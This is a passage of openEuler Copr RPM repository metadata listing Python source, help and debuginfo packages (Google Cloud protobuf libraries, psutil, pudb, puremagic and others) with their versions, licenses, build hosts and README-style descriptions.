  00010270-python-proto-google-cloud-datastore-v1/python-proto-google-cloud-datastore-v1-help-0.90.4-1.noarch.rpm


pkgId: 28b467ab369ad4f31a46c9d975d20188476b64a594f9ffa48ec56cd4ac0fe2f7
name: python-proto-google-cloud-error-reporting-v1beta1
arch: src
version: 0.15.3
epoch: 0
release: 1
summary: GRPC library for the Stackdriver Error Reporting API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-456f7807-ff0f-48bd-8c6c-a9be3f7675d1
checksum_type: sha256
description:
  gRPC library for Stackdriver Error Reporting API

  proto-google-cloud-error-reporting-v1beta1 is the IDL-derived library for the error-reporting (v1beta1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/devtools/clouderrorreporting/v1beta1

location_href:
  00011948-python-proto-google-cloud-error-reporting-v1beta1/python-proto-google-cloud-error-reporting-v1beta1-0.15.3-1.src.rpm


pkgId: 6b72f9044afbfe4b4fa6ce5742f02aef2bc90804f488a31ea5008440c7f2ea9a
name: python-proto-google-cloud-error-reporting-v1beta1-help
arch: noarch
version: 0.15.3
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-error-reporting-v1beta1
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-456f7807-ff0f-48bd-8c6c-a9be3f7675d1
rpm_sourcerpm: python-proto-google-cloud-error-reporting-v1beta1-0.15.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Stackdriver Error Reporting API

  proto-google-cloud-error-reporting-v1beta1 is the IDL-derived library for the error-reporting (v1beta1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/devtools/clouderrorreporting/v1beta1

location_href:
  00011948-python-proto-google-cloud-error-reporting-v1beta1/python-proto-google-cloud-error-reporting-v1beta1-help-0.15.3-1.noarch.rpm


pkgId: 172344bb6aaae63162d9f0afb9e4cbdb581f29f1013922e543b97215ad1a2778
name: python-proto-google-cloud-logging-v2
arch: src
version: 0.91.3
epoch: 0
release: 1
summary: GRPC library for the Stackdriver Logging API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a9c890cc-0c87-427e-9aae-04d9fa419597
location_href: 00011432-python-proto-google-cloud-logging-v2/python-proto-google-cloud-logging-v2-0.91.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Stackdriver Logging API

  proto-google-cloud-logging-v2 is the IDL-derived library for the logging (v2) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/logging/v2


pkgId: 9bef3b58ad8fff105e753e2fead0080835c9709932f88c88e3ce7545aabeefd2
name: python-proto-google-cloud-logging-v2-help
arch: noarch
version: 0.91.3
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-logging-v2
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a9c890cc-0c87-427e-9aae-04d9fa419597
rpm_sourcerpm: python-proto-google-cloud-logging-v2-0.91.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Stackdriver Logging API

  proto-google-cloud-logging-v2 is the IDL-derived library for the logging (v2) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/logging/v2

location_href:
  00011432-python-proto-google-cloud-logging-v2/python-proto-google-cloud-logging-v2-help-0.91.3-1.noarch.rpm


pkgId: e69e32bc9e304384d037f6102cfe3077a8acf2a7d450836508057d4789490322
name: python-proto-google-cloud-pubsub-v1
arch: src
version: 0.15.4
epoch: 0
release: 1
summary: GRPC library for the Google Cloud Pub/Sub API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0e2fd6d8-3ebc-459c-bbfc-b0a764b02f55
location_href: 00011735-python-proto-google-cloud-pubsub-v1/python-proto-google-cloud-pubsub-v1-0.15.4-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Google Cloud Pub/Sub API

  proto-google-cloud-pubsub-v1 is the IDL-derived library for the pubsub (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/pubsub/v1


pkgId: 01e10fc4195206bb2cb90e6338fb722871c86da8040a1341488fca278d03ec15
name: python-proto-google-cloud-pubsub-v1-help
arch: noarch
version: 0.15.4
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-pubsub-v1
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0e2fd6d8-3ebc-459c-bbfc-b0a764b02f55
rpm_sourcerpm: python-proto-google-cloud-pubsub-v1-0.15.4-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Google Cloud Pub/Sub API

  proto-google-cloud-pubsub-v1 is the IDL-derived library for the pubsub (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/pubsub/v1

location_href:
  00011735-python-proto-google-cloud-pubsub-v1/python-proto-google-cloud-pubsub-v1-help-0.15.4-1.noarch.rpm


pkgId: f4b1b7974bc1bb26e70614459044adb56ad4d8b9660929975a75fb0135e88c80
name: python-proto-google-cloud-spanner-admin-database-v1
arch: src
version: 0.15.3
epoch: 0
release: 1
summary: GRPC library for the Cloud Spanner Database Admin API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8219472e-4fed-4793-9a0c-0ba83c47bc25
checksum_type: sha256
description:
  gRPC library for Cloud Spanner Database Admin API

  proto-google-cloud-spanner-admin-database-v1 is the IDL-derived library for the spanner-admin-database (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/spanner/admin/database/v1

location_href:
  00012995-python-proto-google-cloud-spanner-admin-database-v1/python-proto-google-cloud-spanner-admin-database-v1-0.15.3-1.src.rpm


pkgId: 6f728bc900f1cafe4233e79358bb447c923729f652599029183d5a7dab86bd9f
name: python-proto-google-cloud-spanner-admin-database-v1-help
arch: noarch
version: 0.15.3
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-spanner-admin-database-v1
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8219472e-4fed-4793-9a0c-0ba83c47bc25
rpm_sourcerpm: python-proto-google-cloud-spanner-admin-database-v1-0.15.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Cloud Spanner Database Admin API

  proto-google-cloud-spanner-admin-database-v1 is the IDL-derived library for the spanner-admin-database (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/spanner/admin/database/v1

location_href:
  00012995-python-proto-google-cloud-spanner-admin-database-v1/python-proto-google-cloud-spanner-admin-database-v1-help-0.15.3-1.noarch.rpm


pkgId: f7d42e7143c6c11c4566a654aed3cad1417fbd7de00764b14e736c61edea8dce
name: python-proto-google-cloud-spanner-admin-instance-v1
arch: src
version: 0.15.3
epoch: 0
release: 1
summary: GRPC library for the Cloud Spanner Instance Admin API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a2c6a419-e911-409d-a42c-61eaa0eaedd6
checksum_type: sha256
description:
  gRPC library for Cloud Spanner Instance Admin API

  proto-google-cloud-spanner-admin-instance-v1 is the IDL-derived library for the spanner-admin-instance (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/spanner/admin/instance/v1

location_href:
  00012999-python-proto-google-cloud-spanner-admin-instance-v1/python-proto-google-cloud-spanner-admin-instance-v1-0.15.3-1.src.rpm


pkgId: cf6c4a89f9152f3b73382ca6084b340333776f2b5fdc31d820c3244b420efc08
name: python-proto-google-cloud-spanner-admin-instance-v1-help
arch: noarch
version: 0.15.3
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-spanner-admin-instance-v1
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a2c6a419-e911-409d-a42c-61eaa0eaedd6
rpm_sourcerpm: python-proto-google-cloud-spanner-admin-instance-v1-0.15.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Cloud Spanner Instance Admin API

  proto-google-cloud-spanner-admin-instance-v1 is the IDL-derived library for the spanner-admin-instance (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/spanner/admin/instance/v1

location_href:
  00012999-python-proto-google-cloud-spanner-admin-instance-v1/python-proto-google-cloud-spanner-admin-instance-v1-help-0.15.3-1.noarch.rpm


pkgId: 6e9915e07e2e9017bc897da97d4646ed5563fe33bc5a1f107bd6e408e1c61eaf
name: python-proto-google-cloud-spanner-v1
arch: src
version: 0.15.3
epoch: 0
release: 1
summary: GRPC library for the Cloud Spanner API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ce39e242-cfbb-4b72-8239-1313e054961f
location_href: 00012996-python-proto-google-cloud-spanner-v1/python-proto-google-cloud-spanner-v1-0.15.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Cloud Spanner API

  proto-google-cloud-spanner-v1 is the IDL-derived library for the spanner (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/spanner/v1


pkgId: ac5485c090c037af217d49f11b3fa5b30af8ff9b13c74faa4a8f3f68ec7815b8
name: python-proto-google-cloud-spanner-v1-help
arch: noarch
version: 0.15.3
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-spanner-v1
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ce39e242-cfbb-4b72-8239-1313e054961f
rpm_sourcerpm: python-proto-google-cloud-spanner-v1-0.15.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Cloud Spanner API

  proto-google-cloud-spanner-v1 is the IDL-derived library for the spanner (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/spanner/v1

location_href:
  00012996-python-proto-google-cloud-spanner-v1/python-proto-google-cloud-spanner-v1-help-0.15.3-1.noarch.rpm


pkgId: 1faa4f02ff265665467920c588fd4c1322aa016bc35c6c1bba0dee421a4076cb
name: python-proto-plus
arch: src
version: 1.22.2
epoch: 0
release: 1
summary: Beautiful, Pythonic protocol buffers.
url: https://github.com/googleapis/proto-plus-python.git
rpm_license: Apache 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6152b0d9-94cc-407f-9e8d-0872a8ac5161
location_href: 00008990-python-proto-plus/python-proto-plus-1.22.2-1.src.rpm
checksum_type: sha256
description:
  |pypi| |release level| |docs|
      Beautiful, Pythonic protocol buffers.
  This is a wrapper around `protocol buffers`_. Protocol buffers is a
  specification format for APIs, such as those inside Google.
  This library provides protocol buffer message classes and objects that
  largely behave like native Python types.


pkgId: d68f5a532b467b279c83e5dd9044cba4ce991a33c959df22e427619e58766df8
name: python-protobuf-debuginfo
arch: x86_64
version: 4.22.1
epoch: 0
release: 1
summary: Debug information for package python-protobuf
url: https://developers.google.com/protocol-buffers/
rpm_license: 3-Clause BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-feb61b8c-dc9a-456c-97ba-c61257a03605
rpm_sourcerpm: python-protobuf-4.22.1-1.src.rpm
location_href: 00008905-python-protobuf/python-protobuf-debuginfo-4.22.1-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-protobuf.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: b1fc8062395d51d8ed070e2fbe038295db7d009b5db78841ea3309f6b4b16e12
name: python-protobuf-debugsource
arch: x86_64
version: 4.22.1
epoch: 0
release: 1
summary: Debug sources for package python-protobuf
url: https://developers.google.com/protocol-buffers/
rpm_license: 3-Clause BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-feb61b8c-dc9a-456c-97ba-c61257a03605
rpm_sourcerpm: python-protobuf-4.22.1-1.src.rpm
location_href: 00008905-python-protobuf/python-protobuf-debugsource-4.22.1-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-protobuf.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: a79ba2fc7469ce070d47678627e4031ff13bf401e57051c251367dc4384c7d1b
name: python-protobuf-to-dict
arch: src
version: 0.1.0
epoch: 0
release: 1
description: UNKNOWN
url: https://github.com/benhodgson/protobuf-to-dict
rpm_license: Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-71b5cbf3-712f-4296-be3d-d0710a9fbd31
location_href: 00014216-python-protobuf-to-dict/python-protobuf-to-dict-0.1.0-1.src.rpm
checksum_type: sha256
summary:
  A teeny Python library for creating Python dicts from protocol buffers and the reverse. Useful as an intermediate step before serialisation (e.g. to JSON).


pkgId: efee5b5adc7e1d750f0f66e7d2ee5bb042cb9289974df2a3eca03abc79dd9b9a
name: python-protobuf3-to-dict
arch: src
version: 0.1.5
epoch: 0
release: 1
description: UNKNOWN
url: https://github.com/kaporzhu/protobuf-to-dict
rpm_license: Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-75e58eb3-5ddf-4a0c-8c89-b8a79b849ef6
location_href: 00009491-python-protobuf3-to-dict/python-protobuf3-to-dict-0.1.5-1.src.rpm
checksum_type: sha256
summary:
  Ben Hodgson: A teeny Python library for creating Python dicts from protocol buffers and the reverse. Useful as an intermediate step before serialisation (e.g. to JSON). Kapor: upgrade it to PB3 and PY3, rename it to protobuf3-to-dict


pkgId: 8849d595f6c7c3ef60ae885f403e6204cf58423ce52ae1fd2895d13221334d10
name: python-proxy_tools
arch: src
version: 0.1.0
epoch: 0
release: 1
summary: Proxy Implementation
url: http://github.com/jtushman/proxy_tools
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ad670ead-56d7-43a5-be16-ac3d9481799c
location_href: 00012520-python-proxy-tools/python-proxy_tools-0.1.0-1.src.rpm
checksum_type: sha256
description:
  I'm just a proxy
  |Build Status|
  Loveingly extracted from `werkzeug`_.  A very useful proxy implementation, that I found to be useful outside
  the web context -- hence the extraction.


pkgId: 2bfc325e4378169f50d72006bbf354860afd248fcc402f30ff7d2a762a4213eb
name: python-prsaw
arch: src
version: 0.4.0
epoch: 0
release: 1
summary: PRSAW, an acronym for `Python Random Stuff API Wrapper`, is a wrapper for the Random Stuff API.
url: https://github.com/CodeWithSwastik/prsaw
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ad3198b7-1497-4b60-917d-2142dce0c995
location_href: 00012141-python-prsaw/python-prsaw-0.4.0-1.src.rpm
checksum_type: sha256
description:
  [![Downloads](https://static.pepy.tech/personalized-badge/prsaw?period=total&units=international_system&left_color=green&right_color=orange&left_text=Downloads)](https://pepy.tech/project/prsaw)

  PRSAW, an acronym for `Python Random Stuff API Wrapper`, is a wrapper for the [Random Stuff API](https://api.pgamerx.com/).
  PyPI: https://pypi.org/project/prsaw/



  You can install released versions of prsaw from the Python Package Index with pip or a similar tool:

  **Stable Release:** `pip install prsaw`<br>
  **Working Version:** `pip install git+https://github.com/CodeWithSwastik/prsaw.git`


  ```python

  from prsaw import RandomStuff


  rs = RandomStuffV2()


  response = rs.get_ai_response("How are you?")
  print(response)


  rs.close()
  ```


  ```python

  from prsaw import RandomStuff


  api_key = "Your API Key"
  rs = RandomStuff(async_mode = True, api_key = api_key)


  joke = await rs.get_joke()
  print(joke)


  await rs.aclose()
  ```


  If you've purchased a premium plan you can pass that as a paramater to RandomStuffV3 or RandomStuffV4
  ```python
  plan = "Can be pro/biz/mega/ultra"
  rs = RandomStuffV4(api_key = api_key, plan=plan)
  ```



  You can specify the server in RandomStuffV4 if you want
  ```python
  server = "Can be primary/backup/unstable"
  rs = RandomStuffV4(api_key = api_key, server=server)
  ```

  You can also pass `dev_name`, `bot_name` and `ai_language` as paramaters to RandomStuffV3 or RandomStuffV4.



  The current list of asynchronous functions available are:

  ```python

  await get_joke(_type)  # Refer to https://api.pgamerx.com/endpoints
  await get_image(_type) # for all the endpoints
  await get_ai_response(msg)


  await aclose() # closes the object
   ```

   
   * Register API key - [Click Here](https://api.pgamerx.com/register)
   * Documentation/Endpoints - [Click Here](https://api.pgamerx.com/endpoints/)


pkgId: 1e98af83bc3a66c9d6c4069d7c71da759c3c2d73798b278d95239b4c582298dd
name: python-psutil-debuginfo
arch: x86_64
version: 5.9.4
epoch: 0
release: 1
summary: Debug information for package python-psutil
url: https://github.com/giampaolo/psutil
rpm_license: BSD-3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-f840dcf3-a885-4353-b13b-bd7f5399490d
rpm_sourcerpm: python-psutil-5.9.4-1.src.rpm
location_href: 00008932-python-psutil/python-psutil-debuginfo-5.9.4-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-psutil.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: 10648db794d98366e3f748ffe6b48be467e9a0d96649884215fa23d5999a57ba
name: python-psutil-debugsource
arch: x86_64
version: 5.9.4
epoch: 0
release: 1
summary: Debug sources for package python-psutil
url: https://github.com/giampaolo/psutil
rpm_license: BSD-3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-f840dcf3-a885-4353-b13b-bd7f5399490d
rpm_sourcerpm: python-psutil-5.9.4-1.src.rpm
location_href: 00008932-python-psutil/python-psutil-debugsource-5.9.4-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-psutil.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: cd034242b66904c14d7787f532b0e155afab9061190672d1a40cf5ce807b1f92
name: python-psycogreen
arch: src
version: 1.0.2
epoch: 0
release: 1
summary: psycopg2 integration with coroutine libraries
url: https://github.com/psycopg/psycogreen/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-5f86c073-fc3f-41d0-a64f-e19d458c2f19
location_href: 00004610-python-psycogreen/python-psycogreen-1.0.2-1.src.rpm
checksum_type: sha256
description:
  The `psycogreen`_ package enables psycopg2 to work with coroutine libraries,
  using asynchronous calls internally but offering a blocking interface so that
  regular code can run unmodified.
  `Psycopg`_ offers `coroutines support`__ since release 2.2. Because the main
  module is a C extension it cannot be monkey-patched to become
  coroutine-friendly. Instead it exposes `a hook`__ that coroutine libraries can
  use to install a function integrating with their event scheduler. Psycopg will
  call the function whenever it executes a libpq call that may block.
  `psycogreen` is a collection of "wait callbacks" useful to integrate Psycopg
  with different coroutine libraries.


pkgId: 8f2bcce403cb41deee12804d0df35b1b2f4ec4d6db205c3ee2b6b3d1e9797373
name: python-psycopg2-pool
arch: src
version: 1.1
epoch: 0
release: 1
summary: Proper pooling of psycopg2 connections
url: https://github.com/Changaco/psycopg2-pool
rpm_license: LGPL3
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-414a9280-18b5-4b12-b7e6-f033944ee03c
location_href: 00012595-python-psycopg2-pool/python-psycopg2-pool-1.1-1.src.rpm
checksum_type: sha256
description:
  See the documentation at <https://psycopg2-pool.readthedocs.io/>.





  - [Fixes the discarding of extraneous connections](https://github.com/Changaco/psycopg2-pool/pull/1)
  - [Fixes `ThreadSafeConnectionPool.__slots__`](https://github.com/Changaco/psycopg2-pool/commit/0145f44efc21a2e1ec078c6d29a4649f9978380f)



  Initial release.


pkgId: ed41f52913028dd7cd5961f9e1bbb21294e1377f5f95c2b2932361639dc84f5e
name: python-ptyprocess
arch: src
version: 0.7.0
epoch: 0
release: 1
summary: Run a subprocess in a pseudo terminal
url: https://github.com/pexpect/ptyprocess
rpm_license: ISC License (ISCL)
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-06f0d4c3-6ce1-40ea-8b12-46872990a46a
location_href: 00008974-python-ptyprocess/python-ptyprocess-0.7.0-1.src.rpm
checksum_type: sha256
description:
  Launch a subprocess in a pseudo terminal (pty), and interact with both the
  process and its pty.

  Sometimes, piping stdin and stdout is not enough. There might be a password
  prompt that doesn't read from stdin, output that changes when it's going to a
  pipe rather than a terminal, or curses-style interfaces that rely on a terminal.
  If you need to automate these things, running the process in a pseudo terminal
  (pty) is the answer.

  Interface::

      p = PtyProcessUnicode.spawn(['python'])
      p.read(20)
      p.write('6+6\n')
      p.read(20)


pkgId: b4064b1c10c7d0f05b5184370c90a630707db814e6cc6321b80d51dd8a3c71bf
name: python-publication
arch: src
version: 0.0.3
epoch: 0
release: 1
url: https://github.com/glyph/publication
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-476aa666-b5a0-4f42-afb9-ca9c1bff3834
location_href: 00010221-python-publication/python-publication-0.0.3-1.src.rpm
checksum_type: sha256
summary:
  Publication helps you maintain public-api-friendly modules by preventing unintentional access to private implementation details via introspection.

description:
  Setting expectations around what APIs you can rely on in a Python
  library is very difficult.
  Publication makes it easy.


pkgId: c27d4f0682379a9c1950f62da3818bf3125d0e22be85b9d768fed7bf61b0883a
name: python-publicsuffixlist
arch: src
version: 0.9.3
epoch: 0
release: 1
summary: publicsuffixlist implement
url: https://github.com/ko-zu/psl
rpm_license: MPL-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-9d007f0e-1ed6-4191-bf5f-a512224c722d
location_href: 00013195-python-publicsuffixlist/python-publicsuffixlist-0.9.3-1.src.rpm
checksum_type: sha256
description:
  [Public Suffix List](https://publicsuffix.org/) parser implementation for Python 2.6+/3.x.
  - Compliant with [TEST DATA](https://raw.githubusercontent.com/publicsuffix/list/master/tests/test_psl.txt)
  - Support IDN (unicode or punycoded).
  - Support Python2.6+ and Python 3.x
  - Shipped with built-in PSL and the updater script.
  - Written in Pure Python. No library dependencies.
  [![Build Status](https://app.travis-ci.com/ko-zu/psl.svg?branch=master)](https://app.travis-ci.com/ko-zu/psl)
  [![PyPI version](https://badge.fury.io/py/publicsuffixlist.svg)](https://badge.fury.io/py/publicsuffixlist)
  [![Downloads](http://pepy.tech/badge/publicsuffixlist)](http://pepy.tech/project/publicsuffixlist)


pkgId: 27b3ba07c0bd30fb1b49607c58fe84350e32a3114227efb17b1546f42cc5fec7
name: python-pudb
arch: src
version: 2022.1.3
epoch: 0
release: 1
summary: A full-screen, console-based Python debugger
url: https://documen.tician.de/pudb/
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0e6eba99-c5ed-4b49-bb09-92012df2a462
location_href: 00004612-python-pudb/python-pudb-2022.1.3-1.src.rpm
checksum_type: sha256
description:
  Its goal is to provide all the niceties of modern GUI-based debuggers in a
  more lightweight and keyboard-friendly package. PuDB allows you to debug code
  right where you write and test it--in a terminal.
  Here are some screenshots:
  * Light theme
  * Dark theme
  You may watch screencasts too:
  * `Meet Pudb, a debugger for Python code (2020) <https://www.youtube.com/watch?v=bJYkCWPs_UU>`_
  * `PuDB Intro Screencast (2009) <http://vimeo.com/5255125>`_


pkgId: c7eb654700e338dce01b0aefc14a3764cf4b3c1c5a68087ab7b6b60398c31116
name: python-pulsectl
arch: src
version: 22.3.2
epoch: 0
release: 1
summary: Python high-level interface and ctypes-based bindings for PulseAudio (libpulse)
url: http://github.com/mk-fg/python-pulse-control
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a0721368-d70f-43ca-bb47-7eb9da670ee0
location_href: 00004613-python-pulsectl/python-pulsectl-22.3.2-1.src.rpm
checksum_type: sha256
description:
  Python (3.x and 2.x) blocking high-level interface and ctypes-based bindings
  for PulseAudio_ (libpulse), to use in a simple synchronous code.
  Wrappers are mostly for mixer-like controls and introspection-related operations,
  as opposed to e.g. submitting sound samples to play and player-like client.
  For async version to use with asyncio_, see `pulsectl-asyncio`_ project instead.
  Originally forked from pulsemixer_ project, which had this code bundled.
  |


pkgId: 6052a0fa554ff5540af4bf48c2c10b2442eb09aad39676c25fecb2c106a679da
name: python-pure-sasl
arch: src
version: 0.6.2
epoch: 0
release: 1
summary: Pure Python client SASL implementation
url: http://github.com/thobbs/pure-sasl
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c6a17ab9-08bd-4381-9dd1-f43df696f3dc
location_href: 00009758-python-pure-sasl/python-pure-sasl-0.6.2-1.src.rpm
checksum_type: sha256
description:
  This package provides a reasonably high-level SASL client written
  in pure Python.  New mechanisms may be integrated easily, but by default,
  support for PLAIN, ANONYMOUS, EXTERNAL, CRAM-MD5, DIGEST-MD5, and GSSAPI are
  provided.


pkgId: 18d48331ec7a5e49f8813e7415f3ec2578e943a479101f61b487f77bf18aeba1
name: python-puremagic
arch: src
version: 1.15
epoch: 0
release: 1
summary: Pure python implementation of magic file detection
url: https://github.com/cdgriffith/puremagic
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fb720ca6-42cd-401c-9d07-b28363c1498c
location_href: 00012402-python-puremagic/python-puremagic-1.15-1.src.rpm
checksum_type: sha256
description:
  puremagic is a pure python module that will identify a file based off
  it's magic numbers.
  |CoverageStatus| |License| |PyPi|
  It is designed to be minimalistic and inherently cross platform
  compatible. It is also designed to be a stand in for python-magic, it
  incorporates the functions from\_file(filename[, mime]) and
  from\_string(string[, mime]) however the magic\_file() and
  magic\_string() are more powerful and will also display confidence and
  duplicate matches.
  It does NOT try to match files off non-magic string. In other words it
  will not search for a string within a certain window of bytes like
  others might.
  Advantages over using a wrapper for 'file' or 'libmagic':
  -  Faster
  -  Lightweight
  -  Cross platform compatible
  -  No dependencies
  Disadvantages:
  -  Does not have as many file types
  -  No multilingual comments
  -  Duplications due to small or reused magic numbers
  (Help fix the first two disadvantages by contributing!)
  Compatibility
  ~~~~~~~~~~~~~
  -  Python 3.7+
  -  Pypy
  Using travis-ci to run continuous integration tests on listed platforms.


pkgId: b74d8d84df6e26940e5b35da8d86f5ae155d5d54b3bc8723b0ef578daee79cc9
name: python-pvc
arch: src
version: 0.3.0
epoch: 0
release: 1
summary: Python vSphere Client with a dialog(1) interface
url: https://github.com/dnaeon/pvc
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a1ef557a-166a-4143-a554-cb25e56ceff4
location_href: 00004616-python-pvc/python-pvc-0.3.0-1.src.rpm
checksum_type: sha256
description:
  PVC is an interactive text-mode VMware vSphere Client with a
  `dialog(1)`_ interface for GNU/Linux systems built on top of the
  `pyVmomi`_ VMware vSphere API Python bindings.
  Using PVC allows you to quickly navigate in your VMware vSphere
  environment and perform common tasks against various VMware vSphere
  Managed Entities.
  PVC is Open Source and licensed under the `BSD License`_.


pkgId: 611c4fe0204ee6264e0ea3e2cad6f22085cd2be3c12207f7348ed6784da81851
name: python-pwlf
arch: src
version: 2.2.1
epoch: 0
release: 1
summary: fit piecewise linear functions to data
url: https://github.com/cjekel/piecewise_linear_fit_py
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6ee978a9-472b-498d-bbd6-8f23a217117a
location_href: 00010235-python-pwlf/python-pwlf-2.2.1-1.src.rpm
checksum_type: sha256
description:
  A library for fitting continuous piecewise linear functions to data.
  Just specify the number of line segments you desire and provide the
  data.
  |Downloads a month| |pwlf ci| |codecov| |PyPI version| |Conda|
  Check out the
  `documentation <https://jekel.me/piecewise_linear_fit_py>`__!
  Read the `blog
  post <http://jekel.me/2017/Fit-a-piecewise-linear-function-to-data/>`__.
     Example of a continuous piecewise linear fit to data.
     Example of a continuous piecewise linear fit to a sine wave.
  Now you can perform segmented constant fitting and piecewise
  polynomials! |Example of multiple degree fits to a sine wave.|


pkgId: 2b02065babbbefaeabc73150b77150ce37d86089606fc222a9094062e0b6c7aa
name: python-pwncat
arch: src
version: 0.1.2
epoch: 0
release: 1
url: https://pwncat.org/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ec98db99-983a-46fd-952b-5da4c447958c
